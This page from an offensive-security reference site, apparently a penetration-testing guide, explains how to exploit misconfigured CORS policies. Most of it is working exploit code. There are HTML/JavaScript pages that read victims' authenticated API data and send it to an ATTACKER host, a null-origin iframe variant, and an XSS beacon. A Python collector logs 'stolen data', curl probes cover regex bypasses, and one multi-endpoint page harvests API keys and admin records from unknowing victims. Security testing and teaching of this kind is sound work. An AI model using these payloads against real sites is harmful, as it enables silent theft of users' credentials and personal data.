# CORS Exploitation

> Exploiting misconfigured CORS policies to bypass same-origin restrictions, steal credentials, and perform cross-origin requests using crafted malicious origins.

- **URL:** https://hackindex.io/services/web/exploitation/cors-exploitation
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

CORS exploitation turns a confirmed misconfiguration into cross-origin data theft. When a target API reflects an attacker-controlled origin in `Access-Control-Allow-Origin` and returns `Access-Control-Allow-Credentials: true`, a malicious page can read authenticated API responses using the victim's session cookies. Confirm the misconfiguration first through [CORS misconfiguration detection](https://hackindex.io/services/web/vulnerability-discovery/cors-misconfiguration) before building exploit pages. All techniques below require the victim to visit an attacker-controlled page while authenticated to the target.

- **Basic CORS exploitation** reads authenticated API responses from a malicious page using `fetch()` with credentials.
- **Null origin exploitation** abuses `Access-Control-Allow-Origin: null` trust through sandboxed iframes.
- **Wildcard subdomain exploitation** chains a CORS subdomain trust with XSS or subdomain takeover on any subdomain.
- **Weak regex bypass** exploits flawed origin validation that matches attacker-controlled domains.
- **Data exfiltration** extracts API keys, user data, and admin panel information through the misconfiguration.

> [!NOTE]
> CORS exploitation requires `SameSite=None` on the session cookie. Browsers with `SameSite=Lax` (the default in Chrome and Firefox) do not send cookies on cross-origin JavaScript requests, which blocks credential-based CORS exploitation regardless of the CORS headers. Verify the cookie attributes during [CSRF detection](https://hackindex.io/services/web/vulnerability-discovery/csrf-detection) before investing time in CORS payloads.

## Basic CORS Exploitation

The standard CORS exploit page uses `fetch()` with `credentials: 'include'` to make a cross-origin request to the target API. The victim's browser attaches their session cookie, and because the server reflects the attacker's origin with credentials allowed, JavaScript can read the full response body.

```xml
<html>
<body>
<script>
  fetch('https://TARGET/api/v1/user', {
    credentials: 'include'
  })
  .then(response => response.json())
  .then(data => {
    // Send stolen data to attacker server
    fetch('https://ATTACKER/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>
```

Host this file on your attacker server and send the URL to the victim. When they visit the page, the script silently reads their account data from the target API and exfiltrates it to your collection endpoint. The victim sees a blank page and has no indication the attack happened.

**Start attacker listener and hosting**

```bash
python3 -m http.server 8080 &
nc -lvnp 9090
# Serving HTTP on 0.0.0.0 port 8080 ...
# Listening on 0.0.0.0 9090
```

For a cleaner collection endpoint, use a small Flask or Node.js server that logs incoming POST bodies. The netcat listener works for proof of concept but drops the connection after the first request.

```python
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Collector(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print('[+] Stolen data:', body.decode())
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        self.end_headers()

HTTPServer(('0.0.0.0', 9090), Collector).serve_forever()
```

## Null Origin Exploitation

When the target trusts `Access-Control-Allow-Origin: null`, exploit it using a sandboxed iframe. Browsers set the Origin header to `null` for requests originating from sandboxed iframes, data: URIs, and file: URIs. The sandbox attribute strips the iframe's origin, producing the null value the server trusts.

```xml
<html>
<body>
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://TARGET/api/v1/user', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // Post to parent or exfiltrate directly
      fetch('https://ATTACKER/collect', {
        method: 'POST',
        body: JSON.stringify(data)
      });
    });
  </script>
"></iframe>
</body>
</html>
```

The `sandbox="allow-scripts"` attribute permits JavaScript execution but strips the origin to null. The `srcdoc` attribute inlines the exploit HTML, avoiding an extra file. Note that sandboxed iframes with `allow-scripts` but without `allow-same-origin` treat cookies as third-party, so browsers with strict third-party cookie blocking may prevent credential attachment. Test in the target browser environment to confirm cookies are sent.

## Wildcard Subdomain Exploitation

When the server trusts all subdomains (`*.target.com`), the attacker needs control over any subdomain to exploit the CORS policy. Two paths provide this: XSS on any subdomain, or subdomain takeover on an unclaimed subdomain (dangling CNAME to a decommissioned cloud service). Find takeover candidates by enumerating subdomains and checking for NXDOMAIN responses on CNAMEs pointing to cloud providers.

If you have XSS on `blog.target.com`, inject a script that reads from the main API. The origin `https://blog.target.com` is trusted by the CORS policy, so the response is readable.

```javascript
// Injected via XSS on blog.target.com
fetch('https://api.target.com/v1/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  new Image().src = 'https://ATTACKER/collect?d=' + btoa(JSON.stringify(data));
});
```

For subdomain takeover, claim the abandoned subdomain on the cloud provider and host the CORS exploit page there. The target's CORS policy trusts that subdomain, and the attacker now controls what it serves. This is particularly effective because the victim sees a legitimate-looking URL under the target's own domain.

## Exploiting Weak Regex

Applications that validate the Origin header with regex often implement it incorrectly. Common flaws include matching a substring instead of the full domain, missing anchor at the end of the pattern, and accepting dots in the wrong position. Each of these lets an attacker register a domain that passes the validation.

**Suffix match bypass**

```bash
curl -skI https://$DOMAIN/api/v1/user -H "Origin: https://${DOMAIN}.attacker.com" | grep -i 'access-control'
# access-control-allow-origin: https://target.com.attacker.com
# access-control-allow-credentials: true
```

The server checks if the origin contains `target.com` but does not verify it ends there. The attacker registers `target.com.attacker.com` and the check passes.

**Prefix match bypass**

```bash
curl -skI https://$DOMAIN/api/v1/user -H "Origin: https://${DOMAIN}evil.com" | grep -i 'access-control'
```

**Unescaped dot bypass**

```bash
curl -skI https://$DOMAIN/api/v1/user -H 'Origin: https://targetXcom.attacker.com' | grep -i 'access-control'
```

The unescaped dot test checks if the regex uses `target.com` instead of `target\.com`. A dot in regex matches any character, so `targetXcom` passes. If the origin is reflected back in any of these tests with credentials allowed, the regex is exploitable. Register the matching domain and host the standard CORS exploit page on it.

## Data Exfiltration

Once you have a working CORS exploit, target high-value API endpoints to maximize impact. Chain multiple API calls in a single exploit page to collect everything in one victim visit.

```xml
<html>
<body>
<script>
async function steal() {
  const endpoints = [
    '/api/v1/user',
    '/api/v1/api-keys',
    '/api/v1/billing',
    '/api/v1/admin/users',
    '/api/v2/account/tokens'
  ];

  const results = {};
  for (const ep of endpoints) {
    try {
      const r = await fetch('https://TARGET' + ep, {credentials: 'include'});
      if (r.ok) results[ep] = await r.json();
    } catch(e) {}
  }

  fetch('https://ATTACKER/collect', {
    method: 'POST',
    body: JSON.stringify(results)
  });
}
steal();
</script>
</body>
</html>
```

Target these endpoints first for maximum impact:

- **/api/v1/user** or **/api/v1/me** for PII: email, name, phone, address.
- **/api/v1/api-keys** or **/api/v1/tokens** for persistent API tokens that provide access beyond the current session.
- **/api/v1/admin/*** endpoints when the victim is an admin, exposing all user records and application configuration.
- **/graphql** with introspection to dump the entire schema, then query sensitive fields.

API keys and tokens are the highest-value targets. Unlike session cookies, API tokens typically do not expire and provide access without browser interaction. A single CORS exploitation against an admin can yield API keys that compromise the entire application.

**Verify exfiltrated data**

```bash
curl -sk https://$DOMAIN/api/v1/user -H 'Authorization: Bearer STOLEN_API_TOKEN'
# {"id":1,"email":"admin@target.com","role":"admin"}
```

## References

- [PortSwigger: CORS](https://portswigger.net/web-security/cors) - CORS exploitation techniques and impact scenarios
- [PortSwigger Research: Exploiting CORS Misconfigurations](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) - Real-world CORS exploitation case studies and regex bypass examples
- [MDN: CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) - CORS specification, preflight behavior, and credentialed request rules
